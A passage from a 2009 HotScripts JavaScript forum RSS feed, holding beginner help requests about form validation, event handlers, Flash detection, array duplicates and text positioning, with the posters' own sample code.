&nbsp; if (document.addEventListener) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; // safari 3.0.4 doesn't do DOMContentLoaded, maybe others - use a fallback to be safe.<br />
&nbsp; &nbsp; &nbsp; &nbsp; document.addEventListener('DOMContentLoaded',function(){s.start(true)},false);<br />
&nbsp; &nbsp; window.addEventListener('load',function(){s.start(true)},false);<br />
&nbsp; } else {<br />
&nbsp; &nbsp; addEvent(window,'load',function(){s.start(true)});<br />
&nbsp; }<br />
<br />
}<br />
<br />
<br />
<br />
snowStorm = new SnowStorm();</code><hr />
</div><br />
If anyone could help me, that would be great.<br />
Thank You.<br />
donald_nqn</div>

]]></content:encoded>
			<category domain="http://www.hotscripts.com/forums/javascript/">JavaScript</category>
			<dc:creator>donald_nqn</dc:creator>
			<guid isPermaLink="true">http://www.hotscripts.com/forums/javascript/55923-snowing-konami.html</guid>
		</item>
		<item>
			<title>Putting part of another website on another website</title>
			<link>http://www.hotscripts.com/forums/javascript/55911-putting-part-another-website-another-website.html</link>
			<pubDate>Tue, 17 Nov 2009 18:28:53 GMT</pubDate>
			<description><![CDATA[ok i need a bit of advice.. 
 
I have a webpage and i want to put a section of another website on to my own website.. 
 
The Section i want to put on my website is on this page bebo.com - Profile from Douglas Gaa Teenage Discos <thegaadiscos> (http://www.bebo.com/thegaadiscos) and i only want to...]]></description>
			<content:encoded><![CDATA[<div>ok i need a bit of advice..<br />
<br />
I have a webpage and i want to put a section of another website on to my own website..<br />
<br />
The Section i want to put on my website is on this page <a href="http://www.bebo.com/thegaadiscos" target="_blank">bebo.com - Profile from Douglas Gaa Teenage Discos &lt;thegaadiscos&gt;</a> and i only want to put the section with the comments on it...<br />
<br />
What i want is a bit like the face book section of this website<br />
<a href="http://www.alexandraburkeofficial.com/" target="_blank">Welcome - Alexandra Burke Official Website</a><br />
<br />
How would this be done does anyone know..</div>

]]></content:encoded>
			<category domain="http://www.hotscripts.com/forums/javascript/">JavaScript</category>
			<dc:creator>kevinkhandublin</dc:creator>
			<guid isPermaLink="true">http://www.hotscripts.com/forums/javascript/55911-putting-part-another-website-another-website.html</guid>
		</item>
		<item>
			<title>Need Js for radiobutton validation</title>
			<link>http://www.hotscripts.com/forums/javascript/55882-need-js-radiobutton-validation.html</link>
			<pubDate>Mon, 16 Nov 2009 04:53:49 GMT</pubDate>
			<description><![CDATA[my code is blow,,, 
1. If i select the  first option i have validate  first txt box (should hav 11 char). 
2.  If i select the  secondoption i have validate  second txt box (not empty). 
Someone Plz Help 
 
HTML: 
--------- 
<table width="100%" height="56" border="0" cellpadding="0"...]]></description>
			<content:encoded><![CDATA[<div>my code is blow,,,<br />
1. If i select the  first option i have validate  first txt box (should hav 11 char).<br />
2.  If i select the  secondoption i have validate  second txt box (not empty).<br />
Someone Plz Help<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">HTML Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"><span style="color:#008080">&lt;table width=<span style="color:#0000FF">&quot;100%&quot;</span> height=<span style="color:#0000FF">&quot;56&quot;</span> border=<span style="color:#0000FF">&quot;0&quot;</span> cellpadding=<span style="color:#0000FF">&quot;0&quot;</span> cellspacing=<span style="color:#0000FF">&quot;0&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td width=<span style="color:#0000FF">&quot;24%&quot;</span> rowspan=<span style="color:#0000FF">&quot;2&quot;</span>&gt;</span>Select Shipping Type <span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td width=<span style="color:#0000FF">&quot;25%&quot;</span> valign=<span style="color:#0000FF">&quot;top&quot;</span>&gt;</span><span style="color:#000080">&lt;div align=<span style="color:#0000FF">&quot;right&quot;</span>&gt;</span>Blue Dart<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#FF8000">&lt;input name=<span style="color:#0000FF">&quot;type&quot;</span> type=<span style="color:#0000FF">&quot;radio&quot;</span> value=<span style="color:#0000FF">&quot;B&quot;</span> /&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td width=<span style="color:#0000FF">&quot;2%&quot;</span> valign=<span style="color:#0000FF">&quot;top&quot;</span>&gt;</span><span style="color:#000080">&lt;div align=<span style="color:#0000FF">&quot;center&quot;</span>&gt;</span>:<span style="color:#000080">&lt;/div&gt;</span><span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td width=<span style="color:#0000FF">&quot;49%&quot;</span> height=<span style="color:#0000FF">&quot;22&quot;</span>&gt;</span><span style="color:#FF8000">&lt;input name=<span style="color:#0000FF">&quot;billno&quot;</span> type=<span style="color:#0000FF">&quot;text&quot;</span> id=<span style="color:#0000FF">&quot;billno&quot;</span> style=<span style="color:#0000FF">&quot;WIDTH: 130px&quot;</span> onfocus=<span style="color:#0000FF">&quot;this.value=''&quot;</span> <br />
onclick=&quot;javascript<b></b>:clearbox();&quot; value=<span style="color:#0000FF">&quot;Enter&nbsp; Bill&nbsp; No&quot;</span> size=<span style="color:#0000FF">&quot;10&quot;</span> maxlength=<span style="color:#0000FF">&quot;60&quot;</span> /&gt;</span><span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;/tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td height=<span style="color:#0000FF">&quot;22&quot;</span>&gt;</span><span style="color:#000080">&lt;div align=<span style="color:#0000FF">&quot;right&quot;</span>&gt;</span>Hand Delivery<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#FF8000">&lt;input name=<span style="color:#0000FF">&quot;type&quot;</span> type=<span style="color:#0000FF">&quot;radio&quot;</span> value=<span style="color:#0000FF">&quot;H&quot;</span> /&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span><span style="color:#000080">&lt;div align=<span style="color:#0000FF">&quot;center&quot;</span>&gt;</span>:<span style="color:#000080">&lt;/div&gt;</span><span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span><span style="color:#FF8000">&lt;input name=<span style="color:#0000FF">&quot;storeid&quot;</span> type=<span style="color:#0000FF">&quot;text&quot;</span> id=<span style="color:#0000FF">&quot;storeid&quot;</span> value=<span style="color:#0000FF">&quot;Enter Store Id&quot;</span> onfocus=<span style="color:#0000FF">&quot;this.value=''&quot;</span> onclick=<span style="color:#0000FF">&quot;javascript<b></b>:clearbox();&quot;</span>/&gt;</span><span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;/tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;/table&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;p&gt;</span><b><i>&amp;nbsp;</i></b><span style="color:#000080">&lt;/p&gt;</span><span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;/tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td colspan=<span style="color:#0000FF">&quot;3&quot;</span> class=<span style="color:#0000FF">&quot;login_txt&quot;</span>&gt;</span><span style="color:#000080">&lt;div align=<span style="color:#0000FF">&quot;center&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#FF8000">&lt;input name=<span style="color:#0000FF">&quot;rma&quot;</span> type=<span style="color:#0000FF">&quot;hidden&quot;</span> id=<span style="color:#0000FF">&quot;rma&quot;</span> value=<span style="color:#0000FF">&quot;&lt;?php echo $rma; ?&gt;&quot;</span> /&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#FF8000">&lt;input type=<span style="color:#0000FF">&quot;submit&quot;</span> name=<span style="color:#0000FF">&quot;Submit&quot;</span> value=<span style="color:#0000FF">&quot;Submit&quot;</span> onclick=<span style="color:#0000FF">&quot;valbutton(myform);return false;&quot;</span> /&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;/tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;/table&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;?php } ?&gt;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;p align=<span style="color:#0000FF">&quot;center&quot;</span>&gt;</span><b><i>&amp;nbsp;</i></b><span style="color:#000080">&lt;/p&gt;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; <span style="color:#008080">&lt;/tr&gt;</span><span style="color:#FF8000">&lt;/form&gt;</span><br />
<span style="color:#008080">&lt;/table&gt;</span><br />
<span style="color:#000080">&lt;/body&gt;</span><br />
<span style="color:#000080">&lt;/html&gt;</span></code><hr />
</div></div>

]]></content:encoded>
			<category domain="http://www.hotscripts.com/forums/javascript/">JavaScript</category>
			<dc:creator>rsmahaa</dc:creator>
			<guid isPermaLink="true">http://www.hotscripts.com/forums/javascript/55882-need-js-radiobutton-validation.html</guid>
		</item>
		<item>
			<title>Javascript function call</title>
			<link>http://www.hotscripts.com/forums/javascript/55869-javascript-function-call.html</link>
			<pubDate>Sat, 14 Nov 2009 12:09:40 GMT</pubDate>
			<description><![CDATA[The function change() in not getting called by onClick event  of button Click Me,JavaScript array size has been created in PHP 
 
 
HTML: 
--------- 
<html> 
<head> 
<title>Untitled Document</title> 
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> 
<script...]]></description>
			<content:encoded><![CDATA[<div>The function <font color="Red">change()</font> in not getting called by <font color="Red">onClick </font>event  of button <font color="Red">Click Me</font>,JavaScript array <font color="Red">size</font> has been created in <font color="Red">PHP</font><br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">HTML Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"><span style="color:#000080">&lt;html&gt;</span><br />
<span style="color:#000080">&lt;head&gt;</span><br />
<span style="color:#000080">&lt;title&gt;</span>Untitled Document<span style="color:#000080">&lt;/title&gt;</span><br />
<span style="color:#000080">&lt;meta http-equiv=&quot;Content-Type&quot; content=<span style="color:#0000FF">&quot;text/html; charset=iso-8859-1&quot;</span>&gt;</span><br />
<span style="color:#800000">&lt;script type=<span style="color:#0000FF">&quot;text/javascript&quot;</span> language=<span style="color:#0000FF">&quot;javascript&quot;</span>&gt;</span><br />
<br />
function change()<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; alert(size&#91;1&#93;&#91;0&#93;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
<span style="color:#800000">&lt;/script&gt;</span><br />
<br />
<span style="color:#000080">&lt;/head&gt;</span><br />
<br />
<span style="color:#000080">&lt;body&gt;</span><br />
<span style="color:#800000">&lt;script language=<span style="color:#0000FF">&quot;javascript&quot;</span>&gt;</span><br />
&nbsp;var size = new Array();<br />
&nbsp;var = count;<br />
for (count = 0; count <span style="color:#000080">&lt; 5; count++)<br />
size&#91;count&#93; = new Array();<br />
size&#91;0&#93;&#91;0&#93; = 600;<br />
size&#91;0&#93;&#91;1&#93; = 400;<br />
size&#91;1&#93;&#91;0&#93; = 300;<br />
size&#91;1&#93;&#91;1&#93; = 400;<br />
size&#91;2&#93;&#91;0&#93; = 300;<br />
size&#91;2&#93;&#91;1&#93; = 400;<br />
size&#91;3&#93;&#91;0&#93; = 600;<br />
size&#91;3&#93;&#91;1&#93; = 400;<br />
size&#91;4&#93;&#91;0&#93; = 300;<br />
size&#91;4&#93;&#91;1&#93; = 400;<br />
&lt;/script&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#FF8000">&lt;input type=<span style="color:#0000FF">&quot;button&quot;</span> value=<span style="color:#0000FF">&quot;Click Me&quot;</span> onClick=<span style="color:#0000FF">&quot;change()&quot;</span>/&gt;</span><br />
<br />
<span style="color:#000080">&lt;/body&gt;</span><br />
<span style="color:#000080">&lt;/html&gt;</span></code><hr />
</div>Any kind support will be apreciated.<br />
<br />
Thanks,<br />
Srinivas.</div>

]]></content:encoded>
			<category domain="http://www.hotscripts.com/forums/javascript/">JavaScript</category>
			<dc:creator>deekshas</dc:creator>
			<guid isPermaLink="true">http://www.hotscripts.com/forums/javascript/55869-javascript-function-call.html</guid>
		</item>
		<item>
			<title>Shortcut keys? Superscript/subscript</title>
			<link>http://www.hotscripts.com/forums/javascript/55865-shortcut-keys-superscript-subscript.html</link>
			<pubDate>Fri, 13 Nov 2009 14:03:57 GMT</pubDate>
			<description><![CDATA[I'm making an application for teachers, where they can input their own question sets and use them in various ways (print off pdfs, run flash apps, etc).  
 
I have had some feedback from the science departments that they want a way to type in superscript and subscript in the question forms. 
 
I'm...]]></description>
			<content:encoded><![CDATA[<div>I'm making an application for teachers, where they can input their own question sets and use them in various ways (print off pdfs, run flash apps, etc). <br />
<br />
I have had some feedback from the science departments that they want a way to type in superscript and subscript in the question forms.<br />
<br />
I'm a little stumped on how to make this happen. I know how to style sub/superscript of course with css, but ideally they could use a shortcut key, like on a wordprocessor, to enter superscript numbers, for example alt+2 when typing in a textfield.<br />
<br />
I really don't know where to begin finding out if this is possible. If anyone has any pointers it would be ultra appreciated. Thanks.</div>

]]></content:encoded>
			<category domain="http://www.hotscripts.com/forums/javascript/">JavaScript</category>
			<dc:creator>mjjwatson</dc:creator>
			<guid isPermaLink="true">http://www.hotscripts.com/forums/javascript/55865-shortcut-keys-superscript-subscript.html</guid>
		</item>
		<item>
			<title>move text</title>
			<link>http://www.hotscripts.com/forums/javascript/55857-move-text.html</link>
			<pubDate>Fri, 13 Nov 2009 09:19:09 GMT</pubDate>
			<description>hi , 
 
can anyone tell me how to move a text to center of the page that means when i click on any text it should come to center of the page (the text can be left  side top of the page or at the bottom of the page no matter whr it is  but when it is clicked it should come to center of the page). is...</description>
			<content:encoded><![CDATA[<div>hi ,<br />
<br />
can anyone tell me how to move a text to center of the page that means when i click on any text it should come to center of the page (the text can be left  side top of the page or at the bottom of the page no matter whr it is  but when it is clicked it should come to center of the page). is it possible, if it is possible plz help me out</div>

]]></content:encoded>
			<category domain="http://www.hotscripts.com/forums/javascript/">JavaScript</category>
			<dc:creator>hemi</dc:creator>
			<guid isPermaLink="true">http://www.hotscripts.com/forums/javascript/55857-move-text.html</guid>
		</item>
		<item>
			<title>js code to disable checkbox</title>
			<link>http://www.hotscripts.com/forums/javascript/55856-js-code-disable-checkbox.html</link>
			<pubDate>Fri, 13 Nov 2009 08:46:57 GMT</pubDate>
			<description>I need javascript code to disable (2) check box when radiobutton is selected.. 
 
...It would be great if someone Help me with that...</description>
			<content:encoded><![CDATA[<div>I need javascript code to disable (2) check box when radiobutton is selected..<br />
<br />
...It would be great if someone Help me with that...</div>

]]></content:encoded>
			<category domain="http://www.hotscripts.com/forums/javascript/">JavaScript</category>
			<dc:creator>rsmahaa</dc:creator>
			<guid isPermaLink="true">http://www.hotscripts.com/forums/javascript/55856-js-code-disable-checkbox.html</guid>
		</item>
		<item>
			<title>Preventing dupes in javascript array?</title>
			<link>http://www.hotscripts.com/forums/javascript/55845-preventing-dupes-javascript-array.html</link>
			<pubDate>Thu, 12 Nov 2009 14:50:12 GMT</pubDate>
			<description><![CDATA[I have a form that lets people copy items from one select list to another, but I want to prevent them from putting duplicate items into the second list. In other words, they can pick as many items from the first list as they want, but they can't pick and add the same one twice.  
 
In the code...]]></description>
			<content:encoded><![CDATA[<div>I have a form that lets people copy items from one select list to another, but I want to prevent them from putting duplicate items into the second list. In other words, they can pick as many items from the first list as they want, but they can't pick and add the same one twice. <br />
<br />
In the code below, what would be the best way to prevent adding duplicate items to the &quot;destList.options&quot; array? <br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">HTML Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">// Populate&nbsp; destination with&nbsp; items from new array<br />
for ( var j = 0; j &lt; newDestList.length; j++ ){<br />
<br />
&nbsp; &nbsp; if ( newDestList&#91; j &#93; != null ){<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; destList.options&#91; j &#93; = newDestList&#91; j &#93;;<br />
<br />
&nbsp; &nbsp; }<br />
<br />
}</code><hr />
</div></div>

]]></content:encoded>
			<category domain="http://www.hotscripts.com/forums/javascript/">JavaScript</category>
			<dc:creator>End User</dc:creator>
			<guid isPermaLink="true">http://www.hotscripts.com/forums/javascript/55845-preventing-dupes-javascript-array.html</guid>
		</item>
		<item>
			<title>document.write() error</title>
			<link>http://www.hotscripts.com/forums/javascript/55835-document-write-error.html</link>
			<pubDate>Wed, 11 Nov 2009 15:27:49 GMT</pubDate>
			<description><![CDATA[Hi there... 
 
I try to check if flash is installed on the site visitors computer. 
The following script does this for me: 
 
 
Code: 
--------- 
<script language="JavaScript" type="text/javascript"> 
        <!--]]></description>
			<content:encoded><![CDATA[<div>Hi there...<br />
<br />
I try to check if flash is installed on the site visitors computer.<br />
The following script does this for me:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">&lt;script language=&quot;JavaScript&quot; type=&quot;text/javascript&quot;&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &lt;!--<br />
&nbsp; &nbsp; &nbsp; &nbsp; // Version check based upon the values entered above in &quot;Globals&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; var hasReqestedVersion = DetectFlashVer(requiredMajorVersion, requiredMinorVersion, requiredRevision);<br />
&nbsp; &nbsp; &nbsp; &nbsp; // Check to see if the version meets the requirements for playback<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (hasReqestedVersion) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; document.write('FLASH DETECTED');<br />
&nbsp; &nbsp; &nbsp; &nbsp; } else {&nbsp; // flash is too old or we can't detect the plugin<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; document.write('NO FLASH DETECTED');<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; // --&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &lt;/script&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &lt;noscript&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; GEEN FLASH<br />
&nbsp; &nbsp; &nbsp; &nbsp; &lt;/object&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &lt;/a&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &lt;/noscript&gt;</code><hr />
</div>The script doesn't work when I put tis in document.write:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">HTML Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"><span style="color:#000080">&lt;div id=<span style="color:#0000FF">&quot;container&quot;</span>&gt;</span>&nbsp; &nbsp; &nbsp; &nbsp; <br />
<span style="color:#000080">&lt;div id=<span style="color:#0000FF">&quot;header_voetbal&quot;</span>&gt;</span><br />
<span style="color:#000080">&lt;object classid=<span style="color:#0000FF">&quot;clsid:d27cdb6e-ae6d-11cf-96b8-444553540000&quot;</span> codebase=<span style="color:#0000FF">&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=10,0,0,0&quot;</span> width=<span style="color:#0000FF">&quot;980&quot;</span> height=<span style="color:#0000FF">&quot;400&quot;</span> id=<span style="color:#0000FF">&quot;topmenu&quot;</span> align=<span style="color:#0000FF">&quot;middle&quot;</span>&gt;</span><br />
<span style="color:#000080">&lt;param name=<span style="color:#0000FF">&quot;allowScriptAccess&quot;</span> value=<span style="color:#0000FF">&quot;sameDomain&quot;</span> /&gt;</span><br />
<span style="color:#000080">&lt;param name=<span style="color:#0000FF">&quot;allowFullScreen&quot;</span> value=<span style="color:#0000FF">&quot;false&quot;</span> /&gt;</span><br />
<span style="color:#000080">&lt;param name=<span style="color:#0000FF">&quot;movie&quot;</span> value=<span style="color:#0000FF">&quot;topmenu.swf&quot;</span> /&gt;</span><span style="color:#000080">&lt;param name=<span style="color:#0000FF">&quot;quality&quot;</span> value=<span style="color:#0000FF">&quot;medium&quot;</span> /&gt;</span><span style="color:#000080">&lt;param name=<span style="color:#0000FF">&quot;wmode&quot;</span> value=<span style="color:#0000FF">&quot;gpu&quot;</span> /&gt;</span><span style="color:#000080">&lt;param name=<span style="color:#0000FF">&quot;bgcolor&quot;</span> value=<span style="color:#0000FF">&quot;#b6d2e0&quot;</span> /&gt;</span>&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;embed src=<span style="color:#0000FF">&quot;topmenu.swf&quot;</span> quality=<span style="color:#0000FF">&quot;medium&quot;</span> wmode=<span style="color:#0000FF">&quot;gpu&quot;</span> bgcolor=<span style="color:#0000FF">&quot;#b6d2e0&quot;</span> width=<span style="color:#0000FF">&quot;980&quot;</span> height=<span style="color:#0000FF">&quot;400&quot;</span> name=<span style="color:#0000FF">&quot;topmenu&quot;</span> align=<span style="color:#0000FF">&quot;middle&quot;</span> allowScriptAccess=<span style="color:#0000FF">&quot;sameDomain&quot;</span> allowFullScreen=<span style="color:#0000FF">&quot;false&quot;</span> type=<span style="color:#0000FF">&quot;application/x-shockwave-flash&quot;</span> pluginspage=<span style="color:#0000FF">&quot;http://www.adobe.com/go/getflashplayer_nl&quot;</span> /&gt;</span><br />
<span style="color:#000080">&lt;/object&gt;</span><br />
<span style="color:#000080">&lt;/div&gt;</span><br />
<span style="color:#000080">&lt;/div&gt;</span></code><hr />
</div>What do I need to modify to make the text above apear with document.write(); ?<br />
<br />
_j</div>

]]></content:encoded>
			<category domain="http://www.hotscripts.com/forums/javascript/">JavaScript</category>
			<dc:creator>jonnekke</dc:creator>
			<guid isPermaLink="true">http://www.hotscripts.com/forums/javascript/55835-document-write-error.html</guid>
		</item>
		<item>
			<title>angle rotation</title>
			<link>http://www.hotscripts.com/forums/javascript/55832-angle-rotation.html</link>
			<pubDate>Wed, 11 Nov 2009 10:48:31 GMT</pubDate>
			<description><![CDATA[<html> 
<head> 
  <STYLE> 
  .positioned { position: relative; } 
</STYLE> 
<SCRIPT> 
  var id = 0; 
  function displayTextDiagonal (text, down, deg, lsp)  
  { 
    deg = deg || 90 ;]]></description>
			<content:encoded><![CDATA[<div>&lt;html&gt;<br />
&lt;head&gt;<br />
  &lt;STYLE&gt;<br />
  .positioned { position: relative; }<br />
&lt;/STYLE&gt;<br />
&lt;SCRIPT&gt;<br />
  var id = 0;<br />
  function displayTextDiagonal (text, down, deg, lsp) <br />
  {<br />
    deg = deg || 90 ;<br />
    deg = Math.PI / 180 * deg;<br />
    lsp = lsp || 10;<br />
    dy = lsp * Math.tan(deg);<br />
    var html = '';<br />
    html += '&lt;DIV ID=&quot;td' + id + '&quot;' + ' CLASS=&quot;positioned&quot;' + '&gt;';<br />
    if (down)<br />
    {<br />
      for (var r = 0; r &lt; text.length; r++) <br />
      {<br />
        html += '&lt;SPAN ID=&quot;td' + id + r <br />
             + '&quot; CLASS=&quot;positioned&quot; STYLE=&quot;left: ' <br />
             + (r * lsp) + 'px; top: ' + (r * dy) + 'px;&quot;&gt;'; <br />
        html += text.charAt(r);<br />
        html += '&lt;/SPAN&gt;';<br />
      }<br />
    }<br />
  else <br />
  {<br />
    for (var r = 0; r &lt; text.length; r++) <br />
    {<br />
       html += '&lt;SPAN ID=&quot;td' + id + r <br />
              + '&quot; CLASS=&quot;positioned&quot; STYLE=&quot;left: ' <br />
              + (r * lsp) + 'px; top: ' <br />
              + ((text.length - r) * dy) + 'px;&quot;&gt;'; <br />
       html += text.charAt(r);<br />
       html += '&lt;/SPAN&gt;';<br />
    }<br />
  }<br />
  html += '&lt;\/DIV&gt;';<br />
  id++;<br />
  document.write(html);<br />
}<br />
&lt;/SCRIPT&gt;<br />
&lt;body&gt;<br />
&lt;center&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;<br />
&lt;script&gt;<br />
<br />
displayTextDiagonal('chandra', true, 90, 2);<br />
displayTextDiagonal('sekhar',false,80,6);<br />
&lt;/SCRIPT&gt;<br />
&lt;/center&gt;<br />
&lt;SCRIPT&gt;<br />
<br />
<br />
&lt;/body&gt;<br />
&lt;/html&gt;<br />
<br />
<br />
<br />
i got this code from google  can any one tell me<br />
<br />
1)deg= deg || 90;<br />
<br />
<br />
wht this line is doing there in the function<br />
<br />
<br />
2) in the body tag a function is going from script can i do same thing  by div</div>

]]></content:encoded>
			<category domain="http://www.hotscripts.com/forums/javascript/">JavaScript</category>
			<dc:creator>hemi</dc:creator>
			<guid isPermaLink="true">http://www.hotscripts.com/forums/javascript/55832-angle-rotation.html</guid>
		</item>
		<item>
			<title>onmouseover not working in ie</title>
			<link>http://www.hotscripts.com/forums/javascript/55830-onmouseover-not-working-ie.html</link>
			<pubDate>Wed, 11 Nov 2009 05:58:13 GMT</pubDate>
			<description><![CDATA[Hello pals, 
 
HTML code: 
 
HTML: 
--------- 
<dt><a href="#" onmouseover="addButton(this);" onmouseout="removeButton(this);">CNN News<img src="http://www.hotscripts.com/forums/images/cnn.gif" alt="cnn" style="width:67px; height:43px;"/></a></dt> 
--------- 
java_script:]]></description>
			<content:encoded><![CDATA[<div>Hello pals,<br />
<br />
HTML code:<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">HTML Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"><span style="color:#000080">&lt;dt&gt;</span><span style="color:#008000">&lt;a href=<span style="color:#0000FF">&quot;#&quot;</span> onmouseover=<span style="color:#0000FF">&quot;addButton(this);&quot;</span> onmouseout=<span style="color:#0000FF">&quot;removeButton(this);&quot;</span>&gt;</span>CNN News<span style="color:#800080">&lt;img src=<span style="color:#0000FF">&quot;http://www.hotscripts.com/forums/images/cnn.gif&quot;</span> alt=<span style="color:#0000FF">&quot;cnn&quot;</span> style=<span style="color:#0000FF">&quot;width:67px; height:43px;&quot;</span>/&gt;</span><span style="color:#008000">&lt;/a&gt;</span><span style="color:#000080">&lt;/dt&gt;</span></code><hr />
</div>Javascript<b></b>:<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">HTML Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">function addButton(selected){ <br />
&nbsp; &nbsp; var add = &quot;CNN News<span style="color:#800080">&lt;img src=\&quot;http://www.hotscripts.com/forums/images/cnn.gif\&quot; alt=\&quot;cnn\&quot; style=\&quot;width:67px; height:43px;\&quot;/&gt;</span><span style="color:#800080">&lt;img id=\&quot;add\&quot; src=\&quot;http://www.hotscripts.com/forums/images/add.gif\&quot; alt=\&quot;Add\&quot; /&gt;</span>&quot;;<br />
&nbsp; &nbsp; selected.innerHTML = add;<br />
}<br />
<br />
function removeButton(selected){ <br />
&nbsp; &nbsp; var add = &quot;CNN News<span style="color:#800080">&lt;img src=\&quot;http://www.hotscripts.com/forums/images/cnn.gif\&quot; alt=\&quot;cnn\&quot; style=\&quot;width:67px; height:43px;\&quot;/&gt;</span>&quot;;<br />
&nbsp; &nbsp; selected.innerHTML = add;<br />
}</code><hr />
</div>Here my problem is:<br />
 when the mouse moved over image its not calling the addButton() but  when mouse is outside of the image and on &lt;a&gt; element its calling the addButton() func.<br />
<br />
